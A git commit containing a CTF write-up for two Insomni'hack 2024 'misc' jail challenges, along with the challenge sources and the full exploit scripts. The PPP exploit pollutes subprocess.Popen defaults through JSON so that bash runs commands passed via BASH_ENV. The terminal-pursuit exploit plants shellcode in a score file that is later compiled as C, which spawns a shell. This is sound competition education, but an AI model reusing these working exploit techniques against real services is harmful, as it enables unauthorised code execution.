insomnihack teaser 2024

This commit is contained in:
xenia 2024-01-21 22:14:03 -05:00
parent 6fe6297b5c
commit fb6d837d31
23 changed files with 1408 additions and 0 deletions

1
2024/inso/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
/build

17
2024/inso/build.ninja Normal file
View File

@ -0,0 +1,17 @@
builddir = build
pandocflags = -M wf-embed-base=https://git.lain.faith/haskal/writeups/raw/branch/main/ -M wf-link-base=https://git.lain.faith/haskal/writeups/src/branch/main/ --filter writefreely-validate --wrap=none --strip-comments
postid = temp
rule pandoc
command = pandoc $pandocflags -o $out $in
description = pandoc $out
rule upload
command = writefreely-cli $postid $in
description = upload $postid
build $builddir/post-full.md: pandoc post.md
build upload: upload $builddir/post-full.md
build build: phony $builddir/post-full.md

BIN
2024/inso/chals.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 317 KiB

864
2024/inso/post.md Normal file
View File

@ -0,0 +1,864 @@
# insomni'hack teaser 2024
i, for one, am not afraid to seek answers to life's toughest questions
like "how well can a team of 2 people do in a 24 hour ctf when they start almost 12 hours late"
![a screenshot of all the challenges, we solved 8/14 not counting "welcome"](https://git.lain.faith/haskal/writeups/raw/branch/main/2024/inso/chals.png)
this is like, not bad actually???
anyway, let's talk about jails
- [misc: PPP](#ppp)
- [misc: terminal pursuit](#terminal-pursuit)
## PPP
(there was no flavor text for this one, it was just a flavor image of rhianna and i'm not gonna like
go download it and then rehost it here so just imagine that's what's here)
[files](https://git.lain.faith/haskal/writeups/src/branch/main/2024/inso/ppp)
we can see immediately that the flag is inaccessible to the challenge user, and the only way to get
it is to execute the command `/readflag Please` (immediately because i just like, ran the binary and
found out that's what it does. i didn't bother reversing it at all)
here's the code for the challenge server
```python
from os import popen
import hashlib, time, math, subprocess, json
def response(res):
print(res + ' | ' + popen('date').read())
exit()
def generate_nonce():
current_time = time.time()
rounded_time = round(current_time / 60) * 60 # Round to the nearest 1 minutes (60 seconds)
return hashlib.sha256(str(int(rounded_time)).encode()).hexdigest()
def is_valid_proof(data, nonce):
DIFFICULTY_LEVEL = 6
guess_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
return guess_hash[:DIFFICULTY_LEVEL] == '0' * DIFFICULTY_LEVEL
class Blacklist:
def __init__(self, data, nonce):
self.data = data
self.nonce = nonce
def get_data(self):
out = {}
out['data'] = self.data if 'data' in self.__dict__ else ()
out['nonce'] = self.nonce if 'nonce' in self.__dict__ else ()
return out
def add_to_blacklist(src, dst):
for key, value in src.items():
if hasattr(dst, '__getitem__'):
if dst[key] and type(value) == dict:
add_to_blacklist(value, dst.get(key))
else:
dst[key] = value
elif hasattr(dst, key) and type(value) == dict:
add_to_blacklist(value, getattr(dst, key))
else:
setattr(dst, key, value)
def lists_to_set(data):
if type(data) == dict:
res = {}
for key, value in data.items():
res[key] = lists_to_set(value)
elif type(data) == list:
res = ()
for value in data:
res = (*res, lists_to_set(value))
else:
res = data
return res
def is_blacklisted(json_input):
bl_data = blacklist.get_data()
if json_input['data'] in bl_data['data']:
return True
if json_input['nonce'] in bl_data['nonce']:
return True
json_input = lists_to_set(json_input)
add_to_blacklist(json_input, blacklist)
return False
if __name__ == '__main__':
blacklist = Blacklist(['dd9ae2332089200c4d138f3ff5abfaac26b7d3a451edf49dc015b7a0a737c794'], ['2bfd99b0167eb0f400a1c6e54e0b81f374d6162b10148598810d5ff8ef21722d'])
try:
json_input = json.loads(input('Prove your work 😼\n'))
except Exception:
response('no')
if not isinstance(json_input, dict):
response('message')
data = json_input.get('data')
nonce = json_input.get('nonce')
client_hash = json_input.get('hash')
if not (data and nonce and client_hash):
response('Missing data, nonce, or hash')
server_nonce = generate_nonce()
if server_nonce != nonce:
response('nonce error')
if not is_valid_proof(data, nonce):
response('Proof of work is invalid')
server_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
if server_hash != client_hash:
response('Hash does not match')
if is_blacklisted(json_input):
response('blacklisted PoW')
response('Congratulation, You\'ve proved your work 🎷🐴')
```
there's a proof-of-work segment (sigh), checking that your input doesn't belong to a set of
disallowed inputs and then...seemingly nothing!
### where's the primitive???
normally what i'll loosely call "pyjail" style challenges have some sort of core execution primitive
like doing an eval on user-supplied code, subject to some sandboxing, or maybe AST sanitization, or
perhaps being able to replace bytecode on function objects. this code is interesting because it
doesn't do any of that, yet we can assume that at some point we gain the ability to execute
`/readflag Please` to read the flag
instead, after verifying the proof of work, it goes through the following functions
- `is_blacklisted`
- transformed by `lists_to_set`
- this function converts any lists nested at any level in the data structure to tuples
- there's literally no need for this for normal functioning of the server, so we could
assume it's an important part of the solution. (this turns out to be correct)
- processed by `add_to_blacklist`
- this merges the user input with the `Blacklist` object instance recursively, handling
dicts and object attributes along the way
when something looks weird it's worth thinking about it because that can help greatly narrow the
search space for a solution. in this case, we can assume that solutions would involve tuples
somehow, because we're given this primitive that serves no other useful purpose than to produce
tuples
so the primitive is assignment to values at any depth of objects reachable from the starting object
instance, of any type supported by json
the targets of this primitive are any object that can be found by recursively traversing using
- dict lookups
- attribute lookups
and the values that can be changed or added are
- `None`
- strings
- ints and floats
- booleans
- dicts of any of this
- tuples of any of this
an important thing we *can't* do is assign a value to a lookup for an existing other runtime value.
in other words, this is a write-only primitive
### fucking around in ipython
a good approach to pyjails is press the `.` key and then hit tab a bunch of times in ipython.
seriously. so let's go do that for a second
```python
Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.18.1 -- An enhanced Interactive Python. Type '?' for help.
[ins] In [1]: import ppp
[ins] In [2]: obj = ppp.Blacklist(['x'], ['y'])
[ins] In [3]: obj.__
```
the object has its usual defined attributes, and then the set of python intrinsic double underscore
attributes. the goal here is to get a reference to anything interesting, with a specific focus on
stuff that is tuples
unfortunately the object itself is not that interesting. `__class__` is a useful thing to get
references to other random stuff but we get stuck at the `__subclasses__()` barrier because that's a
function and we can't call functions. most of this stuff is also read-only, so that doesn't help us
either
let's look at the function `get_data`
```python
[ins] In [3]: obj.get_data.__
```
i was expecting there to be like `__code__` in here but there *wasn't*. so i quickly learned that
this is a bound instance of the underlying function, which python has a dedicated object for, and
the underlying function can be accessed with `__func__`
```python
[ins] In [3]: obj.get_data.__func__.__
```
so there's the `__code__` attribute which can be used to replace the bytecode of the function, but
only if you call the `replace` function, the attributes can't be written directly. there's some
other stuff in here but it's mostly function calls and not that interesting. `__module__` would be
nice if it were a reference *to the actual module* and not just the name of it but oh well
one thing i found here that is really interesting is `__defaults__` and `__kwdefaults__`
### `__defaults__`
`__defaults__` stores the default arguments for the function, if it was defined with default
arguments
```python
[ins] In [1]: def my_func(a="default value"):
...: print(a)
...:
[ins] In [2]: my_func.__defaults__
Out[1]: ('default value',)
```
`__kwdefaults__` similarly does defaults for non-positional keyword arguments
notice how `__defaults__` takes a tuple. *and it's settable*
```python
[ins] In [3]: my_func.__defaults__ = ("lol hacked",)
[ins] In [4]: my_func()
lol hacked
```
it's all coming together,,,
unfortunately `get_data` doesn't take any arguments. so we'll have to find something else to do this
on
### going deeper
backtracking, there is one more useful key in the function's attributes: `__globals__`
```python
[ins] In [3]: obj.get_data.__func__.__globals__
{
[...snip...]
'popen': <function os.popen(cmd, mode='r', buffering=-1)>,
'hashlib': <module 'hashlib' from '/usr/lib/python3.11/hashlib.py'>,
'time': <module 'time' (built-in)>,
'math': <module 'math' from '/usr/lib/python3.11/lib-dynload/math.cpython-311-x86_64-linux-gnu.so'>,
'subprocess': <module 'subprocess' from '/usr/lib/python3.11/subprocess.py'>,
'json': <module 'json' from '/usr/lib/python3.11/json/__init__.py'>,
'response': <function ppp.response(res)>,
'generate_nonce': <function ppp.generate_nonce()>,
'is_valid_proof': <function ppp.is_valid_proof(data, nonce)>,
'Blacklist': ppp.Blacklist,
'add_to_blacklist': <function ppp.add_to_blacklist(src, dst)>,
'lists_to_set': <function ppp.lists_to_set(data)>,
'is_blacklisted': <function ppp.is_blacklisted(json_input)>}
```
neat
remember that the goal is the execute a command with an argument. taking a look at the actual `ppp`
module the only remotely similar thing is the call to `popen` in the `response` function. we also
see that `subprocess` is imported but not used (huh i wonder why that is,). so we have `popen` in
scope here let's try to bonk it
```python
# VxWorks has no user space shell provided. As a result, running
# command in a shell can't be supported.
if sys.platform != 'vxworks':
# Supply os.popen()
def popen(cmd, mode="r", buffering=-1):
if not isinstance(cmd, str):
raise TypeError("invalid cmd type (%s, expected string)" % type(cmd))
if mode not in ("r", "w"):
raise ValueError("invalid mode %r" % mode)
if buffering == 0 or buffering is None:
raise ValueError("popen() does not support unbuffered streams")
import subprocess
if mode == "r":
proc = subprocess.Popen(cmd,
shell=True, text=True,
stdout=subprocess.PIPE,
bufsize=buffering)
return _wrap_close(proc.stdout, proc)
else:
proc = subprocess.Popen(cmd,
shell=True, text=True,
stdin=subprocess.PIPE,
bufsize=buffering)
return _wrap_close(proc.stdin, proc)
```
ok so let's just try to change the defaults
```python
[ins] In [1]: from os import popen
[ins] In [2]: popen.__defaults__ = ("/readflag Please", "r", -1)
[ins] In [3]: popen
Out[3]: <function os.popen(cmd='/readflag Please', mode='r', buffering=-1)>
[ins] In [4]: popen("date").read()
Out[4]: 'Sun Jan 21 08:05:37 PM EST 2024\n'
```
so unfortunately when the cmd argument is provided, we can't override it using the defaults. this
makes sense
`os.popen` uses `subprocess.Popen` internally. hey remember how `subprocess` is imported but never
used so it's in the `__globals__`?? wow that sure is convenient!
let's set defaults on `subprocess.Popen`
```python
class Popen:
# ....
def __init__(self, args, bufsize=-1, executable=None,
stdin=None, stdout=None, stderr=None,
preexec_fn=None, close_fds=True,
shell=False, cwd=None, env=None, universal_newlines=None,
startupinfo=None, creationflags=0,
restore_signals=True, start_new_session=False,
pass_fds=(), *, user=None, group=None, extra_groups=None,
encoding=None, errors=None, text=None, umask=-1, pipesize=-1,
process_group=None):
"""Create new Popen instance."""
# ...
```
what we are provided is `args`, `shell`, `text`, `stdout`, and `bufsize`, so we can't override
those. but we can assign a new default value to anything else
at this point we could try the basic approach of setting `executable` to `/readflag`, but since
there is no control of the argument to `/readflag` this won't work. how else can we input a full
command with an argument?
### to the bash man pages!
one possible way to control the behavior of the shell that is launched (we can choose `bash` or the
default `sh` [`dash`] based on the `executable` parameter) is via environment variables
so i opened up the man page for bash..........and then i immediately gave up and just asked
@rhelmot whether there was any cheese with bash environment variables you could do, and she offered
up `BASH_ENV`
```
BASH_ENV
If this parameter is set when bash is executing a shell script, its value is interpreted as a
filename containing commands to initialize the shell, as in ~/.bashrc. The value of BASH_ENV
is subjected to parameter expansion, command substitution, and arithmetic expansion before
being interpreted as a filename. PATH is not used to search for the resultant filename.
```
*unfortunately*, `BASH_ENV` needs to be a filename instead of just a list of commands. so to solve
the issue of having a file @rhelmot suggested `/proc/self/environ`. unfortunately this doesn't work
because the size of the file as reported by the kernel is 0, and bash actually uses that when
reading it,
```bash
BASH_ENV=/proc/self/environ AAAA="$(printf '\n\necho hacked\n')" strace /bin/bash -c "date"
....
openat(AT_FDCWD, "/proc/self/environ", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0400, st_size=0, ...}, AT_EMPTY_PATH) = 0
read(3, "", 0) = 0
close(3) = 0
....
```
u_u
however there is another thing we can do which is to just use stdin, because the original stdin is
still bound to the process that gets executed! so we can pass `BASH_ENV` as `/proc/self/fd/0` and
then provide the additional command to run as input. this also requires us to call `shutdown` on the
socket to the remote in order to close the stream
### putting it together
assembly of the final exploit:
```python
popen_defaults = [-1, "/bin/bash", None, None, None, None, True, False,
None, {"BASH_ENV":"/proc/self/fd/0"}, None, None, 0, True, False, []]
```
this defines the defaults tuple that gets assigned to `Popen.__init__.__defaults__`, kept same as
the original except for executable `/bin/bash` and environment with `BASH_ENV`
```python
for _ in tqdm.trange(50000000):
nonce = ppp.generate_nonce()
data = secrets.token_hex(16)
if ppp.is_valid_proof(data, nonce):
break
else:
raise Exception("oops")
hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
```
this generates the proof of work. we just steal the original code's nonce generator and validation
function
```python
obj = {
"data": data,
"nonce": nonce,
"hash": hash,
"get_data": {
"__func__": {
"__globals__": {
"subprocess": {
"Popen": {
"__init__": {
"__defaults__": popen_defaults
}
}
}
}
}
}
}
payload = json.dumps(obj)
```
this assembles the payload with the proof of work along with the attribute we're setting
the attribute written out is
`.get_data.__func__.__globals__["subprocess"].Popen.__init__.__defaults__`
finally, we run the exploit
```python
print("running")
r = remote("ppp.insomnihack.ch", 12345)
print(r.recvline())
r.sendline(payload)
r.sendline("/readflag Please")
```
and here we call `shutdown` to close the stdin stream on the remote
```python
r.shutdown('send')
r.interactive()
```
normally, we should be done here, however this didn't seem to work on the remote
### that's right, get nagled
turns out the issue (probably?) was that somehow pwntools is not setting `TCP_NODELAY` and thus the
stage 1 and stage 2 payloads were probably getting combined into the same packet or somehow not sent
at all. i had intuition for nagling being a thing that exists so i didn't debug this issue at all i
just added
```python
r.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
```
this made the exploit work at the time, though when testing it further i realized it's still kind of
unstable, and i'm not actually sure how it managed to work the first time during the CTF. oh well.
it works locally so i'm not super concerned
## terminal pursuit
it's a *makefile/c jail*
> During COVID a friend of mine decided to learn coding by implementing a game he loves: Trivial
> Pursuit. He started with C but, finding it too difficult, he switched to python midway through.
>
> Terminal Pursuit is the result of his work. I take no responsibility at all, all what I have done
> was dockerize the thing, it may be broken, I'll let you figure that out...
>
> `nc terminal-pursuit.insomnihack.ch 1337`
[files](https://git.lain.faith/haskal/writeups/src/branch/main/2024/inso/terminal)
there's a bunch of jail stuff that ends up being kind of unimportant, but after taking a look we can
see the structure of the server
- `main.py`: contains the main interaction mode
- `quizzes/Makefile`: builds the quiz binaries (in C)
- `quizzes/*.c`: the quiz binaries
- `quizzes/pts.txt`: the score file appended to by the quiz binaries
### main.py
i've cut it down to just the most important parts
```python
alphabet = "abcdefghijklmnopqrstuvwxyz/,:;[]_-."
# ....
def get_user_string(text):
print(text)
s = input("> ").lower()
for c in s:
if c not in alphabet:
exit(0)
return s[:7]
```
this defines the allowed user input. all inputs must be 7 characters or less, and come from the very
restricted alphabet
```python
def run_quizz(username, category):
command = f"make run quizz=\"{prefix + category}\" username=\"{username}\""
os.system(command)
def play():
username = get_user_string(gui.username)
category = get_user_string(gui.category)
run_quizz(username, category)
```
each quiz is run by prompting the user for their username, and the name of the quiz, and then
calling `make` with the parameters. the makefile then builds and runs the specified quiz binary
```make
CC = gcc
CFLAGS = -x c -w
ifeq ($(findstring .,$(quizz)),)
override quizz:=$(quizz).c
endif
run: build
@./run "$(username)"
build:
@$(CC) $(CFLAGS) "$(quizz)" -o run
```
the makefile also appends a `.c` to the quiz name if it doesn't already have a `.` in it.
additionally it uses the `-x c` parameter to force the source language to be C. it's interesting
that it does this because the provided quizzes, `books.c`, `ctf.c`, and `miscgod.c` are all
obviously C files, and the flag shouldn't be needed for those. let's make a note of this
here's an example of a quiz, in `books.c` (note only `books.c` and `miscgod.c` are defined, `ctf.c`
doesn't contain any quiz code)
```c
// ...
const int LEN = 6;
const char *QUESTIONS[] = {
// ...
};
const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, };
/******************
* Main
******************/
int main(int argc, char* argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
FILE *file;
file = fopen(scores_file, "a");
fprintf(file,"%s = {", argv[1]);
int answer;
int score = 0;
for (int i = 0; i < LEN; i++) {
printf("%s\n", QUESTIONS[i]);
printf("Your answer: ");
scanf("%d", &answer);
if (answer == SOLUTIONS[i]) {
score++;
printf("Correct!\n\n");
} else {
printf("False!\n\n");
}
fprintf(file, "%d,", answer);
}
fprintf(file, "%d}\n", score);
fclose(file);
}
```
we can see that the quiz asks the user for a series of answer inputs, reads them with `scanf("%d")`,
and produces a score file consisting of the provided username, a list of the answers, and the final
score. for example, if we play `books` as username `user`, the resulting `pts.txt` file will look
like this
```
user = {1,2,3,4,5,6,1}
```
and that's it. that's all you get
### revisiting `-x c`
since there's no obvious code execution primitives in the code, we can assume that some trickery is
needed to gain code execution. notice that `pts.txt` is in the `quizzes` directory. also, it's an
allowed input because it's 7 chars and only uses allowed characters. what happens if we try to run
the quiz `pts.txt`?
```
$ make username=user quizz=pts.txt
pts.txt:1:1: error: expected , or ; at end of input
1 | user = {1,2,3,4,5,6,1}
| ^~~~
make: *** [Makefile:12: build] Error 1
```
huh, neat
the cflag `-x c` in the makefile ensures that gcc compiles `pts.txt` as if it was C source. now
clearly as it stands it's not quite C, but maybe we can make this work
### when is main not a function
one thing that stands out here is the ability to assign a variable as a compound integer
initializer. this can be used to define functions that are normally, y'know, functions, as arrays of
integers, and it still works when compiled because gcc puts the integer bytes into the binary, and
the integer bytes are valid instructions. see [main is usually a function. so then when is it
not?](https://jroweboy.github.io/c/asm/2015/01/26/when-is-main-not-a-function.html)
that post comes up with the following
```c
const int main[] = {
-443987883, 440, 113408, -1922629632,
4149, 899584, 84869120, 15544,
266023168, 1818576901, 1461743468, 1684828783,
-1017312735
};
```
this actually compiles, and interestingly enough just `main = { .... };` still compiles, but doesn't
run because `main` gets put in `.data` which is not normally executable. hence the `const` in the
above example. that actually causes main to get put in `.rodata`
```
gcc -x c -w - <<EOF
const int main[] = {
-443987883, 440, 113408, -1922629632,
4149, 899584, 84869120, 15544,
266023168, 1818576901, 1461743468, 1684828783,
-1017312735
};
EOF
objdump -x a.out | grep main
0000000000000000 F *UND* 0000000000000000 __libc_start_main@GLIBC_2.34
0000000000002020 g O .rodata 0000000000000034 main
```
on x86-64 `.rodata` gets put in a `PT_LOAD` segment that is executable, alongside `.text`, so we end
up with an executable main function this way
so basically the plan is to put integers representing shellcode for the main function in as the
answers to a quiz, then invoke the quiz `pts.txt` in order to cause the result to be executed
### sizecoding time
we have 2 functioning quizzes available, one with 6 questions, and one with 12. they're otherwise
identical. the 12-question quiz (`miscgod`) gives the most room for shellcode (48 bytes)
what i did here was actually build a stager for a second stage of shellcode, even though this was
completely unnecessary because you can fit an `execve` call in 48 bytes (in fact pwntools' shellcode
is exactly that). the stager uses 2 syscalls to `mmap` a new `rwx` page and then `read` shellcode
into it and then jump to it
so using my amazing assembly sizecoding skills i,,,,, went to godbolt and turned on `-Os` and wrote
the shellcode in C
```c
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#define rv(x) register uint64_t x asm(#x)
void test(){
rv(rax) = SYS_mmap;
rv(rdi) = 0;
rv(rsi) = 4096;
rv(rdx) = PROT_READ | PROT_WRITE | PROT_EXEC;
rv(r10) = MAP_SHARED | MAP_ANONYMOUS;
rv(r8) = -1;
rv(r9) = 0;
asm volatile("syscall":"+r"(rax):"r"(rdi),"r"(rsi),"r"(rdx),"r"(r10),
"r"(r8),"r"(r9):"memory");
void (*tmp)(void) = (void*)rax;
rdi = 0;
rsi = rax;
rax = 0;
rdx = 4096;
asm volatile("syscall":"+r"(rax):"r"(rdi),"r"(rsi),"r"(rdx):"memory");
tmp();
}
```
this produces
```asm
test:
mov eax, 9
xor edi, edi
mov esi, 4096
or r8, -1
mov edx, 7
mov r10d, 33
xor r9d, r9d
syscall
mov edx, 4096
mov rcx, rax
mov rsi, rax
xor eax, eax
syscall
jmp rcx
```
it's 49 bytes. damn
there's a trick to save some more bytes which is to push `rax` after the `mmap` and `ret` at the
end. this gets us down to 46 bytes
```asm
mov eax, 9
xor edi, edi
mov esi, 4096
or r8, -1
mov edx, 7
mov r10d, 33
xor r9d, r9d
syscall
mov edx, 4096
mov rsi, rax
push rax
xor eax, eax
syscall
ret
```
and then the second stage is just the normal pwntools shellcode, which again, i didn't realize would
have worked on its own. oh well
### fixing the formatting
so there's still the slight problem that the `pts.txt` file isn't quite valid C syntax as it stands.
we can fix that, because we're allowed the `/` character, which means we can insert comments.
additionally, we can use `;//` at the end to add the necessary semicolon (and comment out the rest)
for this we can use the usernames `const//`, `int//`, `main[]`, and `;//`, so the final points file
will look like this
```c
const// = { ... }
int// = { ... }
main[] = { shellcode int values here }
;// = { ... }
```
this becomes a valid C file in the right format
## putting it together
```python
stage1 = """
mov eax, 9
xor edi, edi
mov esi, 4096
or r8, -1
mov edx, 7
mov r10d, 33
xor r9d, r9d
syscall
mov edx, 4096
mov rsi, rax
push rax
xor eax, eax
syscall
ret
"""
stage1_bin = asm(stage1)
assert len(stage1_bin) == 46
stage1_bin = stage1_bin + b"\x00\x00"
stage1_payload = list(struct.unpack("<iiiiiiiiiiii", stage1_bin))
stage2 = shellcraft.linux.sh()
stage2_bin = asm(stage2).ljust(4096, b"\x00")
```
this defines the stage 1 and stage 2 shellcodes to run in the exploit
```python
games = [
{"quiz": "miscgod", "username": "const//", "answers": [0]*12},
{"quiz": "miscgod", "username": "int//", "answers": [0]*12},
{"quiz": "miscgod", "username": "main[]", "answers": stage1_payload},
{"quiz": "miscgod", "username": ";//", "answers": [0]*12},
{"quiz": "pts.txt", "username": "hacked", "rawinput": stage2_bin},
]
```
this is a compact representation of the quiz games we're going to play in order to format the points
file the right way
```python
def play_game(r, game):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", game["username"].encode())
r.sendlineafter(b"> ", game["quiz"].encode())
if "answers" in game:
for answer in game["answers"]:
r.sendlineafter(b"answer: ", str(answer).encode())
else:
r.send(game["rawinput"])
```
finally, we define the utility function to play a game from a given game specification, and then run
the exploit
```python
def run(host="localhost"):
r = remote(host, 1337)
for game in games:
play_game(r, game)
r.interactive()
```
this should pop a shell, and from there the flag can be read out
## conclusion
ctfs can often have really bad misc categories. misc is known to be plagued with annoying gamey
challenges and this can make a ctf pretty frustrating to play. but i can solidly say that the
insomni'hack teaser wasn't one of these ctfs
both of these misc challenges were really interesting and presented novel exploitation paths that
needed to work around very tight constraints. and solving them was a lot of fun
```
const int main[] = {15544, 268382464, 5};
```

53
2024/inso/ppp-exploit.py Normal file
View File

@ -0,0 +1,53 @@
from pwn import *
import socket
import json
import ppp
import secrets
import tqdm
popen_defaults = [-1, "/bin/bash", None, None, None, None, True, False,
None, {"BASH_ENV":"/proc/self/fd/0"}, None, None, 0, True, False, []]
for _ in tqdm.trange(50000000):
nonce = ppp.generate_nonce()
data = secrets.token_hex(16)
if ppp.is_valid_proof(data, nonce):
break
else:
raise Exception("oops")
hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
obj = {
"data": data,
"nonce": nonce,
"hash": hash,
"get_data": {
"__func__": {
"__globals__": {
"subprocess": {
"Popen": {
"__init__": {
"__defaults__": popen_defaults
}
}
}
}
}
}
}
payload = json.dumps(obj)
print("running")
r = remote("ppp.insomnihack.ch", 12345)
r.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
print(r.recvline())
r.sendline(payload)
r.sendline("/readflag Please")
r.shutdown('send')
r.interactive()

17
2024/inso/ppp/dockerfile Normal file
View File

@ -0,0 +1,17 @@
FROM python:latest
RUN apt-get update && apt-get upgrade
RUN groupadd -g 1000 tototo
RUN useradd -g tototo -u 1000 tototo
ADD ppp.py /app/ppp.py
ADD flag /flag
ADD readflag /readflag
RUN chown root:root /readflag \
&& chown root:root /flag \
&& chmod 4555 /readflag \
&& chmod 400 /flag
USER tototo
CMD ["timeout", "3", "/usr/bin/python3", "/app/ppp.py"]

1
2024/inso/ppp/flag Normal file
View File

@ -0,0 +1 @@
redacted

104
2024/inso/ppp/ppp.py Normal file
View File

@ -0,0 +1,104 @@
from os import popen
import hashlib, time, math, subprocess, json
def response(res):
print(res + ' | ' + popen('date').read())
exit()
def generate_nonce():
current_time = time.time()
rounded_time = round(current_time / 60) * 60 # Round to the nearest 1 minutes (60 seconds)
return hashlib.sha256(str(int(rounded_time)).encode()).hexdigest()
def is_valid_proof(data, nonce):
DIFFICULTY_LEVEL = 6
guess_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
return guess_hash[:DIFFICULTY_LEVEL] == '0' * DIFFICULTY_LEVEL
class Blacklist:
def __init__(self, data, nonce):
self.data = data
self.nonce = nonce
def get_data(self):
out = {}
out['data'] = self.data if 'data' in self.__dict__ else ()
out['nonce'] = self.nonce if 'nonce' in self.__dict__ else ()
return out
def add_to_blacklist(src, dst):
for key, value in src.items():
if hasattr(dst, '__getitem__'):
if dst[key] and type(value) == dict:
add_to_blacklist(value, dst.get(key))
else:
dst[key] = value
elif hasattr(dst, key) and type(value) == dict:
add_to_blacklist(value, getattr(dst, key))
else:
setattr(dst, key, value)
def lists_to_set(data):
if type(data) == dict:
res = {}
for key, value in data.items():
res[key] = lists_to_set(value)
elif type(data) == list:
res = ()
for value in data:
res = (*res, lists_to_set(value))
else:
res = data
return res
def is_blacklisted(json_input):
bl_data = blacklist.get_data()
if json_input['data'] in bl_data['data']:
return True
if json_input['nonce'] in bl_data['nonce']:
return True
json_input = lists_to_set(json_input)
add_to_blacklist(json_input, blacklist)
return False
if __name__ == '__main__':
blacklist = Blacklist(['dd9ae2332089200c4d138f3ff5abfaac26b7d3a451edf49dc015b7a0a737c794'], ['2bfd99b0167eb0f400a1c6e54e0b81f374d6162b10148598810d5ff8ef21722d'])
try:
json_input = json.loads(input('Prove your work 😼\n'))
except Exception:
response('no')
if not isinstance(json_input, dict):
response('message')
data = json_input.get('data')
nonce = json_input.get('nonce')
client_hash = json_input.get('hash')
if not (data and nonce and client_hash):
response('Missing data, nonce, or hash')
server_nonce = generate_nonce()
if server_nonce != nonce:
response('nonce error')
if not is_valid_proof(data, nonce):
response('Proof of work is invalid')
server_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
if server_hash != client_hash:
response('Hash does not match')
if is_blacklisted(json_input):
response('blacklisted PoW')
response('Congratulation, You\'ve proved your work 🎷🐴')

BIN
2024/inso/ppp/readflag Executable file

Binary file not shown.

52
2024/inso/term-exploit.py Normal file
View File

@ -0,0 +1,52 @@
from pwn import *
context.arch = 'amd64'
import struct
stage1 = """
mov eax, 9
xor edi, edi
mov esi, 4096
or r8, -1
mov edx, 7
mov r10d, 33
xor r9d, r9d
syscall
mov edx, 4096
mov rsi, rax
push rax
xor eax, eax
syscall
ret
"""
stage1_bin = asm(stage1)
assert len(stage1_bin) == 46
stage1_bin = stage1_bin + b"\x00\x00"
stage1_payload = list(struct.unpack("<iiiiiiiiiiii", stage1_bin))
stage2 = shellcraft.linux.sh()
stage2_bin = asm(stage2).ljust(4096, b"\x00")
games = [
{"quiz": "miscgod", "username": "const//", "answers": [0]*12},
{"quiz": "miscgod", "username": "int//", "answers": [0]*12},
{"quiz": "miscgod", "username": "main[]", "answers": stage1_payload},
{"quiz": "miscgod", "username": ";//", "answers": [0]*12},
{"quiz": "pts.txt", "username": "hacked", "rawinput": stage2_bin},
]
def play_game(r, game):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", game["username"].encode())
r.sendlineafter(b"> ", game["quiz"].encode())
if "answers" in game:
for answer in game["answers"]:
r.sendlineafter(b"answer: ", str(answer).encode())
else:
r.send(game["rawinput"])
def run(host="localhost"):
r = remote(host, 1337)
for game in games:
play_game(r, game)
r.interactive()

View File

@ -0,0 +1,22 @@
FROM ubuntu:18.04 AS builder
RUN apt update && apt install -y --no-install-recommends \
python3-minimal \
libc6-dev \
gcc \
g++ \
make
RUN useradd -u 1000 ctf
FROM pwn.red/jail
COPY --from=builder / /srv
RUN mkdir -p /srv/app/quizzes
COPY gui.py flag.txt main.py /srv/app/
COPY quizzes /srv/app/tmp
COPY run.sh /srv/app/run
RUN chmod 755 /srv/app/run
COPY jail-hook.sh /jail/hook.sh

View File

@ -0,0 +1,16 @@
services:
terminal-pursuit:
build: .
ports:
- 1337:5000
cap_drop:
- all
cap_add:
- chown
- setuid
- setgid
- sys_admin
- mknod
security_opt:
- seccomp=unconfined
- apparmor=unconfined

View File

@ -0,0 +1 @@
INS{fake_flag}

48
2024/inso/terminal/gui.py Normal file
View File

@ -0,0 +1,48 @@
menu = """
______________________
| __________________ |
| | | |
| | Terminal pursuit | |
| |__________________| |
| |
| What to do? |
| 1) Play |
| 2) Scoreboards |
| 3) Exit |
|______________________|
"""
category = """
______________________
| __________________ |
| | | |
| | Terminal pursuit | |
| |__________________| |
| |
| Pick a category: |
| - books |
| - ctf |
| - miscgod |
|______________________|
"""
username = """
______________________
| __________________ |
| | | |
| | Terminal pursuit | |
| |__________________| |
| |
| Who is playing? |
|______________________|
"""
scoreboard_head = """
================
= Scoreboard =
================
"""
scoreboard_tail = """
================
"""

View File

@ -0,0 +1,3 @@
#!/bin/sh
echo -n 'mode:LISTEN hostname:"app" cwd:"/app" port:5000 max_conns:0 max_conns_per_ip:1 time_limit:60 rlimit_as_type:HARD rlimit_cpu_type:HARD rlimit_fsize_type:HARD rlimit_nofile_type:HARD rlimit_fsize: 50 rlimit_nofile: 50 mount:{src:"/srv" dst:"/" is_bind:true nosuid:true nodev:true} cgroup_mem_max:20971520 cgroup_mem_swap_max:0 cgroup_cpu_ms_per_sec:100 cgroupv2_mount:"/jail/cgroup/unified/run" use_cgroupv2:true exec_bin:{path:"/app/run"} mount { dst: "/app/quizzes" fstype: "tmpfs" rw: true }' > /tmp/nsjail.cfg

67
2024/inso/terminal/main.py Executable file
View File

@ -0,0 +1,67 @@
#!/usr/bin/env python3
import string
import subprocess
import sys
import os
import gui
alphabet = "abcdefghijklmnopqrstuvwxyz/,:;[]_-."
prefix = "/app/quizzes/"
results = prefix + "pts.txt"
def menu():
print(gui.menu)
choice = int(input("> "))
if choice != 1 and choice != 2:
exit(0)
return choice
def get_user_string(text):
print(text)
s = input("> ").lower()
for c in s:
if c not in alphabet:
exit(0)
return s[:7]
